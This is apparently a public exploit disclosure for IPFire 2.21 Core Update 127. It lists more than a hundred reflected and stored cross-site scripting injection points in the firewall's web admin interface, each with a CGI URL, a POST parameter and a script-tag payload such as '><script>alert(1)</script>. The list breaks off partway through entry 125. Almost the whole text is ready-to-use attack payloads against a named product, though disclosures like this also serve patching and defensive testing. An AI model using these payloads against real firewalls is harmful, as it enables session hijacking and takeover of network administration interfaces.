IPFire 2.21 Cross Site Scripting

`##################################################################################################################################  
# Exploit Title: IPFire 2.21 - Core Update 127 | Cross-Site Scripting  
# Date: 08.02.2019  
# Exploit Author: Ozer Goker  
# Vendor Homepage: https://www.ipfire.org  
# Software Link:  
https://downloads.ipfire.org/releases/ipfire-2.x/2.21-core127/ipfire-2.21.x86_64-full-core127.iso  
# Version: IPFire 2.21 - Core Update 127  
##################################################################################################################################  
  
Introduction  
IPFire is a Linux distribution that focusses on easy setup, good handling  
and high level of security. It is operated via an intuitive web-based  
interface which offers many configuration options for beginning and  
experienced system administrators. IPFire is maintained by developers who  
are concerned about security and who update the product regularly to keep  
it secure. IPFire ships with a custom package manager called Pakfire and  
the system can be expanded with various add-ons.  
  
  
#################################################################################  
  
XSS details: Reflected & Stored  
  
#################################################################################  
  
XSS1 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/mail.cgi  
  
METHOD  
Post  
  
PARAMETER  
txt_mailsender  
  
PAYLOAD  
'"><script>alert(1)</script>  
  
#################################################################################  
  
XSS2 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/mail.cgi  
  
METHOD  
Post  
  
PARAMETER  
txt_recipient  
  
PAYLOAD  
'><script>alert(2)</script>  
  
#################################################################################  
  
XSS3 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/mail.cgi  
  
METHOD  
Post  
  
PARAMETER  
txt_mailserver  
  
PAYLOAD  
'><script>alert(3)</script>  
  
#################################################################################  
  
XSS4 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/mail.cgi  
  
METHOD  
Post  
  
PARAMETER  
txt_mailport  
  
PAYLOAD  
'><script>alert(4)</script>  
  
#################################################################################  
  
XSS5 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/mail.cgi  
  
METHOD  
Post  
  
PARAMETER  
txt_mailuser  
  
PAYLOAD  
'><script>alert(5)</script>  
  
#################################################################################  
  
XSS6 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/mail.cgi  
  
METHOD  
Post  
  
PARAMETER  
txt_mailpass  
  
PAYLOAD  
'><script>alert(6)</script>  
  
#################################################################################  
  
XSS7 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
PROXY_PORT  
  
PAYLOAD  
'><script>alert(7)</script>  
  
#################################################################################  
  
XSS8 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
TRANSPARENT_PORT  
  
PAYLOAD  
'><script>alert(8)</script>  
  
#################################################################################  
  
XSS9 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
UPSTREAM_PROXY  
  
PAYLOAD  
'><script>alert(9)</script>  
  
#################################################################################  
  
XSS10 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
UPSTREAM_USER  
  
PAYLOAD  
'><script>alert(10)</script>  
  
#################################################################################  
  
XSS11 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
UPSTREAM_PASSWORD  
  
PAYLOAD  
'><script>alert(11)</script>  
  
#################################################################################  
  
XSS12 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
FILEDESCRIPTORS  
  
PAYLOAD  
'><script>alert(12)</script>  
  
#################################################################################  
  
XSS13 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
CACHE_MEM  
  
PAYLOAD  
'><script>alert(13)</script>  
  
#################################################################################  
  
XSS14 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
CACHE_SIZE  
  
PAYLOAD  
'><script>alert(14)</script>  
  
#################################################################################  
  
XSS15 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
MIN_SIZE  
  
PAYLOAD  
'><script>alert(15)</script>  
  
#################################################################################  
  
XSS16 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
MAX_SIZE  
  
PAYLOAD  
'><script>alert(16)</script>  
  
#################################################################################  
  
XSS17 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
MAX_INCOMING_SIZE  
  
PAYLOAD  
'><script>alert(17)</script>  
  
#################################################################################  
  
XSS18 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
MAX_OUTGOING_SIZE  
  
PAYLOAD  
'><script>alert(18)</script>  
  
#################################################################################  
  
XSS19 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
AUTH_CHILDREN  
  
PAYLOAD  
'><script>alert(19)</script>  
  
#################################################################################  
  
XSS20 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
AUTH_CACHE_TTL  
  
PAYLOAD  
'><script>alert(20)</script>  
  
#################################################################################  
  
XSS21 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
AUTH_ALWAYS_REQUIRED  
  
PAYLOAD  
'><script>alert(21)</script>  
  
#################################################################################  
  
XSS22 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
DST_NOAUTH  
  
PAYLOAD  
'><script>alert(22)</script>  
  
#################################################################################  
  
XSS23 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
NCSA_MIN_PASS_LEN  
  
PAYLOAD  
'><script>alert(23)</script>  
  
#################################################################################  
  
XSS24 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
NCSA_BYPASS_REDIR  
  
PAYLOAD  
'><script>alert(24)</script>  
  
#################################################################################  
  
XSS25 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
IDENT_REQUIRED  
  
PAYLOAD  
'><script>alert(25)</script>  
  
#################################################################################  
  
XSS26 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
IDENT_TIMEOUT  
  
PAYLOAD  
'><script>alert(26)</script>  
  
#################################################################################  
  
XSS27 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
IDENT_HOSTS  
  
PAYLOAD  
'><script>alert(27)</script>  
  
#################################################################################  
  
XSS28 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
IDENT_ENABLE_ACL  
  
PAYLOAD  
'><script>alert(28)</script>  
  
#################################################################################  
  
XSS29 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
IDENT_USER_ACL  
  
PAYLOAD  
'><script>alert(29)</script>  
  
#################################################################################  
  
XSS30 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
IDENT_ALLOW_USERS  
  
PAYLOAD  
'><script>alert(30)</script>  
  
#################################################################################  
  
XSS31 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
IDENT_DENY_USERS  
  
PAYLOAD  
'><script>alert(31)</script>  
  
#################################################################################  
  
XSS32 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
LDAP_TYPE  
  
PAYLOAD  
'><script>alert(32)</script>  
  
#################################################################################  
  
XSS33 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
LDAP_PORT  
  
PAYLOAD  
'><script>alert(33)</script>  
  
#################################################################################  
  
XSS34 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
RADIUS_PORT  
  
PAYLOAD  
'><script>alert(34)</script>  
  
#################################################################################  
  
XSS35 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
RADIUS_ENABLE_ACL  
  
PAYLOAD  
'><script>alert(35)</script>  
  
#################################################################################  
  
XSS36 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
RADIUS_USER_ACL  
  
PAYLOAD  
'><script>alert(36)</script>  
  
#################################################################################  
  
XSS37 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
RADIUS_ALLOW_USERS  
  
PAYLOAD  
'><script>alert(37)</script>  
  
#################################################################################  
  
XSS38 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/proxy.cgi  
  
METHOD  
Post  
  
PARAMETER  
RADIUS_DENY_USERS  
  
PAYLOAD  
'><script>alert(38)</script>  
  
#################################################################################  
  
XSS39 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/urlfilter.cgi  
  
METHOD  
Post  
  
PARAMETER  
REDIRECT_PAGE  
  
PAYLOAD  
'><script>alert(39)</script>  
  
#################################################################################  
  
XSS40 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/urlfilter.cgi  
  
METHOD  
Post  
  
PARAMETER  
BE_BLACKLIST  
  
PAYLOAD  
'><script>alert(40)</script>  
  
#################################################################################  
  
XSS41 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/updatexlrator.cgi  
  
METHOD  
Post  
  
PARAMETER  
MAX_DISK_USAGE  
  
PAYLOAD  
'><script>alert(41)</script>  
  
#################################################################################  
  
XSS42 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/updatexlrator.cgi  
  
METHOD  
Post  
  
PARAMETER  
MAX_DOWNLOAD_RATE  
  
PAYLOAD  
'><script>alert(42)</script>  
  
#################################################################################  
  
XSS43 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
START_ADDR_GREEN  
  
PAYLOAD  
'><script>alert(43)</script>  
  
#################################################################################  
  
XSS44 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
END_ADDR_GREEN  
  
PAYLOAD  
'><script>alert(44)</script>  
  
#################################################################################  
  
XSS45 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
DEFAULT_LEASE_TIME_GREEN  
  
PAYLOAD  
'><script>alert(45)</script>  
  
#################################################################################  
  
XSS46 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
MAX_LEASE_TIME_GREEN  
  
PAYLOAD  
'><script>alert(46)</script>  
  
#################################################################################  
  
XSS47 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
DOMAIN_NAME_GREEN  
  
PAYLOAD  
'><script>alert(47)</script>  
  
#################################################################################  
  
XSS48 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
DNS1_GREEN  
  
PAYLOAD  
'><script>alert(48)</script>  
  
#################################################################################  
  
XSS49 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
DNS2_GREEN  
  
PAYLOAD  
'><script>alert(49)</script>  
  
#################################################################################  
  
XSS50 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
NTP1_GREEN  
  
PAYLOAD  
'><script>alert(50)</script>  
  
#################################################################################  
  
XSS51 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
NTP2_GREEN  
  
PAYLOAD  
'><script>alert(51)</script>  
  
#################################################################################  
  
XSS52 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
WINS1_GREEN  
  
PAYLOAD  
'><script>alert(52)</script>  
  
#################################################################################  
  
XSS53 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
WINS2_GREEN  
  
PAYLOAD  
'><script>alert(53)</script>  
  
#################################################################################  
  
XSS54 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
NEXT_GREEN  
  
PAYLOAD  
'><script>alert(54)</script>  
  
#################################################################################  
  
XSS55 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
FILE_GREEN  
  
PAYLOAD  
'><script>alert(55)</script>  
  
#################################################################################  
  
XSS56 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
ADVOPT_DATA  
  
PAYLOAD  
'><script>alert(56)</script>  
  
#################################################################################  
  
XSS57 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
KEY1  
  
PAYLOAD  
'><script>alert(57)</script>  
  
#################################################################################  
  
XSS58 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
FIX_MAC  
  
PAYLOAD  
'><script>alert(58)</script>  
  
#################################################################################  
  
XSS59 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
FIX_ADDR  
  
PAYLOAD  
'><script>alert(59)</script>  
  
#################################################################################  
  
XSS60 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
FIX_REMARK  
  
PAYLOAD  
'><script>alert(60)</script>  
  
#################################################################################  
  
XSS61 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
FIX_NEXTADDR  
  
PAYLOAD  
'><script>alert(61)</script>  
  
#################################################################################  
  
XSS62 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
FIX_FILENAME  
  
PAYLOAD  
'><script>alert(62)</script>  
  
#################################################################################  
  
XSS63 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
FIX_ROOTPATH  
  
PAYLOAD  
'><script>alert(63)</script>  
  
#################################################################################  
  
XSS64 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dhcp.cgi  
  
METHOD  
Post  
  
PARAMETER  
KEY2  
  
PAYLOAD  
'><script>alert(64)</script>  
  
#################################################################################  
  
XSS65 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/captive.cgi  
  
METHOD  
Post  
  
PARAMETER  
TITLE  
  
PAYLOAD  
"><script>alert(65)</script>  
  
#################################################################################  
  
XSS66 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/captive.cgi  
  
METHOD  
Post  
  
PARAMETER  
COLOR  
  
PAYLOAD  
"><script>alert(66)</script>  
  
#################################################################################  
  
XSS67 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/connscheduler.cgi  
  
METHOD  
Post  
  
PARAMETER  
ACTION_HOUR  
  
PAYLOAD  
<script>alert(67)</script>  
  
#################################################################################  
  
XSS68 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/connscheduler.cgi  
  
METHOD  
Post  
  
PARAMETER  
ACTION_MINUTE  
  
PAYLOAD  
<script>alert(68)</script>  
  
#################################################################################  
  
XSS69 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/connscheduler.cgi  
  
METHOD  
Post  
  
PARAMETER  
ACTION_DAYSTART  
  
PAYLOAD  
<script>alert(69)</script>  
  
#################################################################################  
  
XSS70 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/connscheduler.cgi  
  
METHOD  
Post  
  
PARAMETER  
ACTION_DAYEND  
  
PAYLOAD  
<script>alert(70)</script>  
  
#################################################################################  
  
XSS71 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/hosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
KEY1  
  
PAYLOAD  
'><script>alert(71)</script>  
  
#################################################################################  
  
XSS72 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/hosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
IP  
  
PAYLOAD  
'><script>alert(72)</script>  
  
#################################################################################  
  
XSS73 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/hosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
HOST  
  
PAYLOAD  
'><script>alert(73)</script>  
  
#################################################################################  
  
XSS74 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/hosts.cgi  
  
METHOD  
Post  
  
PARAMETER  
DOM  
  
PAYLOAD  
'><script>alert(74)</script>  
  
#################################################################################  
  
XSS75 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dns.cgi  
  
METHOD  
Post  
  
PARAMETER  
DNS0  
  
PAYLOAD  
"><script>alert(75)</script>  
  
#################################################################################  
  
XSS76 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dns.cgi  
  
METHOD  
Post  
  
PARAMETER  
DNS1  
  
PAYLOAD  
"><script>alert(76)</script>  
  
#################################################################################  
  
XSS77 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dnsforward.cgi  
  
METHOD  
Post  
  
PARAMETER  
ZONE  
  
PAYLOAD  
"><script>alert(77)</script>  
  
#################################################################################  
  
XSS78 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/dnsforward.cgi  
  
METHOD  
Post  
  
PARAMETER  
FORWARD_SERVERS  
  
PAYLOAD  
'><script>alert(78)</script>  
  
#################################################################################  
  
XSS79 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/routing.cgi  
  
METHOD  
Post  
  
PARAMETER  
KEY1  
  
PAYLOAD  
'><script>alert(79)</script>  
  
#################################################################################  
  
XSS80 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/routing.cgi  
  
METHOD  
Post  
  
PARAMETER  
GATEWAY  
  
PAYLOAD  
'><script>alert(80)</script>  
  
#################################################################################  
  
XSS81 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/routing.cgi  
  
METHOD  
Post  
  
PARAMETER  
REMARK  
  
PAYLOAD  
'><script>alert(81)</script>  
  
#################################################################################  
  
XSS82 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/mac.cgi  
  
METHOD  
Post  
  
PARAMETER  
MAC  
  
PAYLOAD  
'><script>alert(82)</script>  
  
#################################################################################  
  
XSS83 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/mac.cgi  
  
METHOD  
Post  
  
PARAMETER  
MAC1  
  
PAYLOAD  
'><script>alert(83)</script>  
  
#################################################################################  
  
XSS84 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/mac.cgi  
  
METHOD  
Post  
  
PARAMETER  
MAC2  
  
PAYLOAD  
'><script>alert(84)</script>  
  
#################################################################################  
  
XSS85 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/wakeonlan.cgi  
  
METHOD  
Post  
  
PARAMETER  
CLIENT_MAC  
  
PAYLOAD  
'><script>alert(85)</script>  
  
#################################################################################  
  
XSS86 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/wakeonlan.cgi  
  
METHOD  
Post  
  
PARAMETER  
CLIENT_COMMENT  
  
PAYLOAD  
'><script>alert(86)</script>  
  
#################################################################################  
  
XSS87 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
TYPE  
  
PAYLOAD  
'><script>alert(87)</script>  
  
#################################################################################  
  
XSS88 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
IKE_VERSION  
  
PAYLOAD  
'><script>alert(88)</script>  
  
#################################################################################  
  
XSS89 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
IKE_ENCRYPTION  
  
PAYLOAD  
'><script>alert(89)</script>  
  
#################################################################################  
  
XSS90 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
IKE_INTEGRITY  
  
PAYLOAD  
'><script>alert(90)</script>  
  
#################################################################################  
  
XSS91 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
IKE_GROUPTYPE  
  
PAYLOAD  
'><script>alert(91)</script>  
  
#################################################################################  
  
XSS92 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
IKE_LIFETIME  
  
PAYLOAD  
'><script>alert(92)</script>  
  
#################################################################################  
  
XSS93 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ESP_ENCRYPTION  
  
PAYLOAD  
'><script>alert(93)</script>  
  
#################################################################################  
  
XSS94 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ESP_INTEGRITY  
  
PAYLOAD  
'><script>alert(94)</script>  
  
#################################################################################  
  
XSS95 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ESP_GROUPTYPE  
  
PAYLOAD  
'"><script>alert(95)</script>  
  
#################################################################################  
  
XSS96 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ESP_KEYLIFE  
  
PAYLOAD  
'><script>alert(96)</script>  
  
#################################################################################  
  
XSS97 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
COMPRESSION  
  
PAYLOAD  
'><script>alert(97)</script>  
  
#################################################################################  
  
XSS98 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ONLY_PROPOSED  
  
PAYLOAD  
'><script>alert(98)</script>  
  
#################################################################################  
  
XSS99 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
PFS  
  
PAYLOAD  
'><script>alert(99)</script>  
  
#################################################################################  
  
XSS100 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
DPD_ACTION  
  
PAYLOAD  
'><script>alert(100)</script>  
  
#################################################################################  
  
XSS101 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
DPD_DELAY  
  
PAYLOAD  
'><script>alert(101)</script>  
  
#################################################################################  
  
XSS102 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
DPD_TIMEOUT  
  
PAYLOAD  
'><script>alert(102)</script>  
  
#################################################################################  
  
XSS103 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
FORCE_MOBIKE  
  
PAYLOAD  
'><script>alert(103)</script>  
  
#################################################################################  
  
XSS104 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
NAME  
  
PAYLOAD  
'><script>alert(104)</script>  
  
#################################################################################  
  
XSS105 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
LOCAL_SUBNET  
  
PAYLOAD  
'><script>alert(105)</script>  
  
#################################################################################  
  
XSS106 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
REMOTE  
  
PAYLOAD  
'><script>alert(106)</script>  
  
#################################################################################  
  
XSS107 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
LOCAL_ID  
  
PAYLOAD  
'><script>alert(107)</script>  
  
#################################################################################  
  
XSS108 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
REMOTE_ID  
  
PAYLOAD  
'><script>alert(108)</script>  
  
#################################################################################  
  
XSS109 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
PSK  
  
PAYLOAD  
'><script>alert(109)</script>  
  
#################################################################################  
  
XSS110 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ROOTCERT_ORGANIZATION  
  
PAYLOAD  
'><script>alert(110)</script>  
  
#################################################################################  
  
XSS111 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ROOTCERT_HOSTNAME  
  
PAYLOAD  
'><script>alert(111)</script>  
  
#################################################################################  
  
XSS112 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ROOTCERT_EMAIL  
  
PAYLOAD  
'><script>alert(112)</script>  
  
#################################################################################  
  
XSS113 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ROOTCERT_OU  
  
PAYLOAD  
'><script>alert(113)</script>  
  
#################################################################################  
  
XSS114 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ROOTCERT_CITY  
  
PAYLOAD  
'><script>alert(114)</script>  
  
#################################################################################  
  
XSS115 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ROOTCERT_STATE  
  
PAYLOAD  
'><script>alert(115)</script>  
  
#################################################################################  
  
XSS116 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
SUBJECTALTNAME  
  
PAYLOAD  
'><script>alert(116)</script>  
  
#################################################################################  
  
XSS117 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/vpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
P12_PASS  
  
PAYLOAD  
'><script>alert(117)</script>  
  
#################################################################################  
  
XSS118 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
VPN_IP  
  
PAYLOAD  
'><script>alert(118)</script>  
  
#################################################################################  
  
XSS119 | Stored  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
DMTU  
  
PAYLOAD  
'><script>alert(119)</script>  
  
#################################################################################  
  
XSS120 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ccdname  
  
PAYLOAD  
'><script>alert(120)</script>  
  
#################################################################################  
  
XSS121 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
ccdsubnet  
  
PAYLOAD  
'><script>alert(121)</script>  
  
#################################################################################  
  
XSS122 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
DOVPN_SUBNET  
  
PAYLOAD  
'><script>alert(122)</script>  
  
#################################################################################  
  
XSS123 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
DHCP_DOMAIN  
  
PAYLOAD  
'><script>alert(123)</script>  
  
#################################################################################  
  
XSS124 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
PARAMETER  
DHCP_DNS  
  
PAYLOAD  
'><script>alert(124)</script>  
  
#################################################################################  
  
XSS125 | Reflected  
  
URL  
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi  
  
METHOD  
Post  
  
